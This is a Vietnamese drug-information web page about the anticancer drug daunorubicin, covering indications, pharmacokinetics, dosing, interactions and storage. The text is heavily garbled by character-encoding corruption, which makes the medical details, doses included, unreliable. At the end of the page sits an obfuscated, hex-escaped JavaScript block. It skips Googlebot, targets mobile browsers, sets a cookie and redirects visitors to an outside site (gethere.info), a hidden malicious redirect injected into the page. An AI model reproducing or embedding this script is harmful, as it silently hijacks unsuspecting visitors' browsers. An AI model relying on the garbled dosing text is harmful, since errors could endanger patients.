DAUNORUBICIN Cha��ng ung th?�

DAUNORUBICIN Chống ung thư

Tracuuthuoctay chia sa?� bA�i via??tA� DAUNORUBICIN Cha��ng ung th?�lA� gA�? giA? thua��c bao nhiA?u? cha�� A�a��nh, cA?ch sa�� da�?ng, tA?c da�?ng pha�? thua��c DAUNORUBICIN. Daunorubicin A�?�a�?c cha�� A�a��nh trong A�ia�?u tra�� ba��nh ba??ch ca?�u ca??p tha�? ta��y vA� tha�? lymphA?.

DAUNORUBICIN Cha��ng ung th?�

TA?n chung qua��c ta??: Daunorubicin.

MA? ATC: L01D B02.

Loa??i thua��c: Cha��ng ung th?�/KhA?ng sinh loa??i anthracyclin glycosid.

GiA? thua��c DAUNORUBICIN: BA�nh lua?�n cua��i bA�i via??t A�a�? A�?�a�?c thA?ng bA?o giA?

Da??ng thua��c vA� hA�m l?�a�?ng

  • Ba��t pha tiA?m: 20 mg (dA?ng daunorubicin hydroclorid nh?�ng tA�nh hA�mnl?�a�?ng theo daunorubicin base).
  • Da��ch A�a?�m A�a?�c a�Y da??ng vi ha??t lipid A�a�? pha loA?ng truya�?n tA�nh ma??ch, cha��a ma��t dung da��ch n?�a��c ca��a daunorubicin citrat trong cA?c tA?i lipid (vi ha??t lipid): La�? cha��a 50 mg, tA�nh theo daunorubicin base, a�Y na��ng A�a�� 2 mg/ml (tA?n th?�??ng ma??i: Daunoxome).

D?�a�?c lA? vA� c?? cha?? tA?c da�?ng

  • Daunorubicin lA� ma��t anthracyclin glycosid, thua��c loa??i khA?ng sinh nh?�ng khA?ng dA?ng nh?� ma��t thua��c khA?ng khua?�n. Daunorubicin cA? tA?c da�?ng ma??nh nha??t A�a??n pha S trong chu trA�nh phA?n chia ta?? bA�o nh?�ng khA?ng A�a?�c hia��u theo pha. C?? cha?? cha��ng ung th?� ca��a thua��c lA� ga??n ka??t va��i DNA xen vA�o gia�?a cA?c ca?�p base vA� a��c cha?? ta��ng ha�?p DNA vA� RNA, lA�m ra��i loa??n ma?�u sao chA�p vA� ngA?n ca??n phiA?n ba??n. Do A�A?, tA?c da�?ng cha��ng ung th?� ta��i A�a A�?�a�?c tha��c hia��n a�Y pha ta��ng ha�?p DNA (pha S) ca��a chu trA�nh phA?n bA�o. NgoA�i ra thua��c cA?n cA? tA?c da�?ng khA?ng khua?�n vA� a��c cha?? mia��n da��ch.

D?�a�?c A�a��ng ha�?c

  • Thua��c A�?�a�?c phA?n ba�� nhanh vA�o trong c?? tha�?, A�a?�c bia��t lA� tha?�n, lA?ch, gan, vA� tim a�Y d?�a��i da??ng ch?�a bia??n A�a��i vA� da??ng chuya�?n hA?a, nh?�ng thua��c khA?ng qua A�?�a�?c hA�ng rA�o mA?u – nA?o.
  • Chuya�?n hA?a sinh ha�?c a�Y gan, xa??y ra nhanh (trong vA?ng ma��t gia�?), ta??o thA�nh ma��t cha??t chuya�?n hA?a cha�� ya??u lA� daunorubicinol cA? hoa??t tA�nh cha��ng ung th?�.
  • Na��a A�a�?i phA?n ba��: 45 phA?t.
  • Na��a A�a�?i tha??i tra��: Ca��a daunorubicin: 18,5 gia�?, ca��a cA?c cha??t chuya�?n hA?a: 55 gia�?, ca��a daunorubicinol: 26,7 gia�?. Do va?�y, ta��n ta??i lA?u trong mA?u.
  • Tha??i tra��: KA�o dA�i, 25% tha??i tra�� a�Y da??ng hoa??t tA�nh qua n?�a��c tia�?u, khoa??ng 40% A�?�a�?c tha??i tra�� qua ma?�t.

Cha�� A�a��nh thua��cA�DAUNORUBICIN

Daunorubicin A�?�a�?c cha�� A�a��nh trong A�ia�?u tra�� ba��nh ba??ch ca?�u ca??p tha�? ta��y vA� tha�? lymphA?.

Cha��ng cha�� A�a��nh

  • KhA?ng dA?ng cho ng?�a�?i ma��i ma??c hoa?�c A�ang ma??c ba��nh tha��y A�a?�u hoa?�c zona.
  • KhA?ng dA?ng A�?�a�?ng tiA?m ba??p vA� tiA?m d?�a��i da.

Tha?�n tra�?ng

  • Daunorubicin pha??i A�?�a�?c dA?ng ra??t tha?�n tra�?ng, d?�a��i sa�� theo dA�i ca��a bA?c sA� chuyA?n khoa cA? kinh nghia��m va�? hA?a tra�� lia��u cha��ng ung th?�.
  • A?a��c tA�nh cha�� ya??u ca��a daunorubicin lA� a��c cha?? ta��y x?�??ng, A�a?�c bia��t cA? tha�? na?�ng va��i dA?ng ba??ch ca?�u ha??t nh?�ng tA?c da�?ng A�t h??n A�a??n tia�?u ca?�u vA� ha��ng ca?�u. Ca?�n kia�?m tra cA?ng tha��c mA?u ca?�n tha?�n. Nha�?ng ng?�a�?i ba��nh nhia��m HIV pha??i A�?�a�?c theo dA�i ca?�n tha?�n A�a�? phA?t hia��n cA?c bia�?u hia��n ca��a nhia��m trA?ng c?? ha��i hoa?�c gian phA?t.
  • Pha??i chA? A? A�a?�c bia��t A�a??n tia�?m nA?ng A�a��c tA�nh tim ca��a daunorubicin, A�a?�c bia��t a�Y ng?�a�?i ba��nh tr?�a��c A�A?y A�A? dA?ng anthracyclin, hoa?�c ng?�a�?i A�A? ma??c ba��nh tim.
  • Daunorubicin cA�ng A�A? gA?y hoa??i ta�� mA? ta??i cha�� thua��c ba�� thoA?t ma??ch, do A�A? sa�� da�?ng thua��c pha??i ca?�n tha?�n A�a�? A�a??m ba??o thua��c khA?ng ba�� thoA?t ma??ch.Ca?�n gia??m lia�?u a�Y ng?�a�?i ba��nh suy gan hoa?�c suy tha?�n.

Tha�?i ka�? mang thai

Na??u cA? tha�? nA?n trA?nh dA?ng cA?c thua��c cha��ng ung th?�, A�a?�c bia��t trong tha�?i gian 3 thA?ng A�a?�u ca��a thai ka�?. Ma?�c dA? thA?ng tin cA?n ch?�a tha?�t A�a?�y A�a�� do t?�??ng A�a��i A�t tr?�a�?ng ha�?p dA?ng thua��c cha��ng ung th?� khi mang thai, nA?n pha??i chA? A? A�a??n kha?? nA?ng gA?y A�a��t bia??n vA� gA?y ung th?� ca��a cA?c thua��c loa??i nA�y. Nha�?ng nguy c?? khA?c A�a��i va��i thai nhi bao ga��m cA?c tA?c da�?ng pha�? ga?�p a�Y ng?�a�?i la��n. NA?i chung nA?n dA?ng thua��c trA?nh thai trong khi sa�� da�?ng cA?c thua��c A�a��c ha??i ta?? bA�o.

Tha�?i ka�? cho con bA?

Ch?�a bia??t thua��c cA? bA�i tia??t qua sa�?a ma?? hay khA?ng, nh?�ng do kha?? nA?ng thua��c cA? tA?c da�?ng pha�? ma??nh a�Y tra?� cA?n bA?, nA?n bA� ma?? ca?�n nga��ng cho con bA? trong tha�?i kA� dA?ng daunorubicin.

TA?c da�?ng khA?ng mong mua��n (ADR)

Th?�a�?ng ga?�p, ADR >1/100

a�?c cha?? ta��y x?�??ng, gia??m ba??ch ca?�u, suy ta��y x?�??ng.

A?t ga?�p, 1/1000 < ADR < 1/100

ViA?m mia��ng, ra�?ng tA?c, viA?m tA�nh ma??ch, sa��t, thia??u mA?u, bua��n nA?n, nA?n, viA?m niA?m ma??c, a��a cha??y, ban A�a�?, n?�a��c tia�?u cA? tha�? A�a�? ta??m tha�?i sau A�ia�?u tra�� ba?�ng daunorubicin.

Hia??m ga?�p, ADR < 1/1000

Da�� a��ng (ban A�a�? da vA� nga��a), A�a��c cho tim a�Y da??ng viA?m c?? tim, viA?m mA�ng ngoA�i tim.

H?�a��ng da?�n cA?ch xa�� trA� ADR

TA?c da�?ng pha�? gA?y a��c cha?? ta��y x?�??ng ca��a thua��c ca?�n pha??i A�?�a�?c ngA?n cha?�n tr?�a��c a�Y ma�?i tr?�a�?ng ha�?p ba?�ng cA?ch A�ia�?u tra�� nhia��m khua?�n tr?�a��c khi dA?ng daunorubicin, cA?ch ly ng?�a�?i ba��nh vA� A�ia�?u tra�� ha�� tra�?, ka�? ca?? sa�� da�?ng tia??p ta�?c thua��c cha��ng nhia��m khua?�n, dA?ng huya??t t?�??ng giA�u tia�?u ca?�u, hoa?�c truya�?n mA?u t?�??i toA�n pha?�n vA� ma��t sa�� tr?�a�?ng ha�?p truya�?n ba??ch ca?�u.

Lia�?u dA?ng vA� cA?ch dA?ng

  • Daunorubicin ra??t kA�ch a��ng va��i cA?c mA?, nA?n cha�� A�?�a�?c dA?ng A�?�a�?ng tA�nh ma??ch. L?�a�?ng thua��c 20 mg ba��t A�a�? pha tiA?m trong la�? th?�a�?ng A�?�a�?c pha va��i 4 ml n?�a��c ca??t tiA?m A�a�? cA? dung da��ch na��ng A�a�� 5 mg/ml. Khi pha la??c ma??nh cho thua��c tan ha??t. La??y l?�a�?ng thua��c A�a��nh dA?ng vA�o 1 b??m tiA?m cA? cha��a ta�� 10 – 15 ml dung da��ch tiA?m natri clorid 0,9% ra��i tiA?m cha?�m 2 – 3 phA?t vA�o dA?y truya�?n hoa?�c ma??ch nhA?nh ca��a A�?�a�?ng truya�?n tA�nh ma??ch dung da��ch natri clorid 0,9% hoa?�c dextrose 5% cho cha??y ta�� do khA?ng hA?m. Ca?�n theo dA�i ca?�n tha?�n va�� trA� truya�?n vA� vA?ng xung quanh A�a�? phA?t hia��n thua��c thoA?t ma??ch vA� kA�ch a��ng tA�nh ma??ch.
  • Daunorubicin cA�ng A�?�a�?c pha trong 100 ml dung da��ch tiA?m natri clorid 0,9% hoa?�c dextrose 5% ra��i truya�?n trong 30 – 45 phA?t.
  • Lia�?u ng?�a�?i la��n: 40 – 60 mg/m2/ngA�y, ma��t A�a�?t A�ia�?u tra�� bA�nh th?�a�?ng 3 la?�n tiA?m.
  • Ba��nh ba??ch ca?�u tha�? ta��y ca??p: 45 mg/m2/ngA�y.
  • Ba��nh ba??ch ca?�u tha�? lymphA? ca??p: 45 mg/m2/ngA�y.
  • Lia�?u tra?� em: TrA?n 2 tua��i: gia��ng nh?� ng?�a�?i la��n; d?�a��i 2 tua��i: hoa?�c dia��n tA�ch da d?�a��i 0,5 m2: 1 mg/kg/ngA�y.

 

  • Ng?�a�?i cao tua��i: Daunorubicin A�?�a�?c dA?ng tha?�n tra�?ng a�Y ng?�a�?i cA? da�� tra�? ta��y x?�??ng khA?ng A�a�� do tua��i giA�, ca?�n gia??m lia�?u ta��i 50%.
  • Sa�� la?�n tiA?m dao A�a��ng ra??t ra��ng gia�?a cA?c ng?�a�?i ba��nh vA� pha??i A�?�a�?c xA?c
  • A�a��nh tA?y ta��ng tr?�a�?ng ha�?p ca�? tha�?, phA? ha�?p va��i sa�� A�A?p a��ng vA� dung na??p thua��c.
  • Daunorubicin pha??i A�?�a�?c truya�?n vA�o tA�nh ma??ch la��n vA� cho cha??y ta�� do. Khi tiA?m truya�?n la?�n 2 hoa?�c cA?c la?�n tia??p theo, lia�?u dA?ng vA� khoa??ng cA?ch truya�?n tA?y thua��c vA�o tA?c da�?ng ca��a lia�?u dA?ng tr?�a��c A�A? vA� pha??i cA?n nha??c ra??t tha?�n tra�?ng, pha??i kia�?m tra mA?u ngoa??i vi, vA� trong ma��t sa�� tr?�a�?ng ha�?p, pha??i kia�?m tra ta��y x?�??ng.
  • Pha??i gia??m lia�?u dA?ng a�Y ng?�a�?i suy gan, suy tha?�n. Lia�?u dA?ng ca?�n gia??m 25% a�Y ng?�a�?i cA? na��ng A�a�� bilirubin huya??t thanh lA� 20 – 50 micromol/lA�t hoa?�c creatinin mA?u lA� 105 – 265 micromol/lA�t. a�Y ng?�a�?i ba��nh cA? na��ng A�a�� biliburin huya??t thanh trA?n 50 micromol/lA�t hoa?�c creatinin trA?n 265 micromol/lA�t, ca?�n gia??m lia�?u dA?ng 50%.
  • Da��ch A�a?�m A�a?�c daunorubicin citrat a�Y da??ng vi ha??t lipid pha??i A�?�a�?c pha loA?ng 1:1 va��i dung da��ch tiA?m dextrose 5% (khA?ng dA?ng dung da��ch natri clorid 0,9%, hoa?�c cA?c cha??t kA�m khua?�n nh?� ca��n benzylic hoa?�c ba??t ka�? ma��t dung da��ch nA�o khA?c), A�a�? cA? ma��t dung da��ch 1 mg/ml vA� A�?�a�?c truya�?n tA�nh ma??ch cha?�m trong 60 phA?t.

T?�??ng tA?c thua��c

  • Pha��i ha�?p sa�� da�?ng daunorubicin va��i cA?c thua��c d?�a��i A�A?y cA? tha�? gA?y t?�??ng tA?c: Allopurinol, colchicin, probenecid, hoa?�c sulfinpyrazon: daunorubicin cA? tha�? gA?y tA?ng na��ng A�a�� acid uric trong mA?u. Ca?�n A�ia�?u cha��nh lia�?u ca��a cA?c thua��c cha��ng gA?t A�a�? kia�?m soA?t tA?ng acid uric mA?u vA� ba��nh gA?t. DA?ng allopurinol A�a�? phA?ng nga��a hoa?�c A�a??o ng?�a�?c tA?c da�?ng tA?ng acid uric mA?u do daunorubicin cA? tha�? ta��t h??n lA� cA?c thua��c gA?y tA?ng bA�i xua??t acid uric, vA� chA?ng ta??o nguy c?? gA?y ba��nh tha?�n do acid uric
  • CA?c thua��c gA?y loa??n ta??o mA?u: TA?c da�?ng gA?y gia??m ba??ch ca?�u, gia??m tia�?u A�ca?�u ca��a daunorubicin tA?ng lA?n khi dA?ng A�a��ng tha�?i va��i cA?c thua��c cA? tA?c A�da�?ng t?�??ng ta��. A?ia�?u cha��nh lia�?u daunorubicin na??u ca?�n, da��a vA�o cA?ng tha��c
  • mA?u.
  • CA?c thua��c a��c cha?? ta��y x?�??ng hoa?�c chia??u xa??: Sa?? lA�m tA?ng a��c cha?? ta��y x?�??ng, khi dA?ng cA?ng hoa?�c tia??p nhau, ca?�n gia??m lia�?u.
  • Cyclophosphamid hoa?�c chia??u xa?? vA�o vA?ng trung tha??t: DA?ng A�a��ng tha�?i va��i daunorubicin cA? tha�? gA?y tA?ng A�a��c va��i tim. Ta��ng lia�?u daunorubicin A�?�a�?c khuya??n cA?o khA?ng v?�a�?t quA? 400 mg/m2 dia��n tA�ch c?? tha�?, khi dA?ng A�a��ng tha�?i.
  • Doxorubicin: DA?ng daunorubicin a�Y ng?�a�?i ba��nh tr?�a��c A�A? A�A? dA?ng doxorubicin sa?? tA?ng nguy c?? A�a��c va��i tim, ca?�n pha??i gia??m lia�?u. KhA?ng nA?n dA?ng daunorubicin a�Y ng?�a�?i tr?�a��c A�A?y A�A? A�?�a�?c A�ia�?u tra�� doxorubicin hoa?�c daunorubicin va��i ta��ng lia�?u A�a?�y A�a��. a�Y ng?�a�?i ba��nh tr?�a��c A�A?y ch?�a dA?ng A�a�� ta��ng lia�?u doxorubicin, ta��ng lia�?u tA�ch ta�? ca��a doxorubicin vA� daunorubicin khA?ng A�?�a�?c v?�a�?t quA? 550 mg/m2 c?? tha�?.
  • CA?c thua��c A�a��c va��i gan khA?c: DA?ng A�a��ng tha�?i va��i daunorubicin gA?y nguy c?? nga�� A�a��c, vA� da�?: lia�?u cao methotrexat cA? tha�? gA?y suy cha��c nA?ng gan vA� tA?ng A�a��c tA�nh ca��a daunorubicin na??u dA?ng daunorubicin tia??p sau methotrexat.
  • CA?c vaccin virus sa��ng: VA� c?? cha?? ta�� ba??o va�� ca��a c?? tha�? cA? tha�? ba�� gia??m do dA?ng daunorubicin nA?n na??u dA?ng A�a��ng tha�?i cA? tha�? lA�m tA?ng kha?? nA?ng nhA?n lA?n ca��a virus vaccin, lA�m tA?ng tA?c da�?ng pha�?, gia??m A�A?p a��ng khA?ng tha�?. Via��c tiA?m cha��ng a�Y cA?c ng?�a�?i ba��nh nA�y cha�� cA? tha�? A�?�a�?c tha��c hia��n khi A�A? cA? sa�� kia�?m soA?t ra??t cha?�t cha?? cA?ng tha��c mA?u vA� A�?�a�?c bA?c sA� chuyA?n khoa cA? kinh nghia��m sa�� da�?ng daunorubicin A�a��ng A?.

A?a�� a��n A�a��nh vA� ba??o qua??n

  • Ba??o qua??n ba��t pha tiA?m (la�?) a�Y nhia��t A�a�� phA?ng vA� trA?nh A?nh sA?ng. Sau khi pha thA�nh dung da��ch, pha??i dA?ng ngay, hoa?�c dA?ng trong vA?ng 24 gia�?, A�na??u A�?�a�?c ba??o qua??n a�Y 2 – 8oC, trA?nh A?nh sA?ng.
  • Ba??o qua??n da��ch A�a?�m A�a?�c a�Y da??ng vi ha??t lipid a�Y 2 – 8C, trA?nh A?nh sA?ng vA� khA?ng A�?�a�?c A�a�? A�A?ng bA?ng. Da��ch A�A? pha loA?ng A�a�? truya�?n tA�nh ma??ch pha??i dA?ng ngay hoa?�c ba??o qua??n a�Y 2 – 8C trong ta��i A�a 6 gia�?.

T?�??ng ka��

Gentamicin.

QuA? lia�?u vA� xa�� trA�

  • CA?c tria��u cha��ng quA? lia�?u bao ga��m suy ta��y (A�a?�c bia��t lA� gia??m ba??ch ca?�u ha??t), ya??u ma��t, bua��n nA?n, nA?n.
  • Ca?�n A�ia�?u tra�� ha�� tra�?. HA�nh nh?� hia��u qua?? A�ia�?u tra�� vA� A�a��c tA�nh khA?ng thay
  • A�a��i ba�Yi tha?�m phA?n mA�ng ba�?ng vA� la�?c tha?�n nhA?n ta??o quy ?�a��c.

ThA?ng tin qui cha??

Thua��c A�a��c ba??ng A.

Ngua��n d?�a�?c th?� qua��c gia

Tham kha??o hA�nh a??nh cA?c dA?ng thua��c DAUNORUBICIN Cha��ng ung th?�

DAUNORUBICIN Cha��ng ung th?� DAUNORUBICIN Cha��ng ung th?� DAUNORUBICIN Cha��ng ung th?�

Vui lA?ng A�a?�t cA?u ha�?i va�? bA�i via??t DAUNORUBICIN Cha��ng ung th?�A�A�chA?ng tA?i sa?? tra?? la�?i nhanh chA?ngvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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